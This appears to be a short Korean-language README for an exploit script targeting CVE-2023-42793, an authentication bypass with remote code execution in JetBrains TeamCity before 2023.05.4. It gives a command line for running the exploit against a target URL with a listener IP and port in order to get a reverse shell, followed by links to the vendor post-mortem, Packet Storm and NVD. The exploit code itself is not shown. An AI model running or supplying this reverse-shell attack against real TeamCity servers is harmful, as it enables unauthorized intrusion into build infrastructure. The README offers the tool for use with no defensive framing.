CVE-2023-42793

JetBrains TeamCity 2023.05.4 이전 버전은 인증 우회 취약점이 있어 원격 코드 실행(RCE)이 가능합니다.

사용법

리버스 셸을 얻으려면

python3 exploit.py <target_url> <listener_ip> <listener_port>

참고 자료

https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/
http://packetstormsecurity.com/files/174860/JetBrains-TeamCity-Unauthenticated-Remote-Code-Execution.html
https://nvd.nist.gov/vuln/detail/cve-2023-42793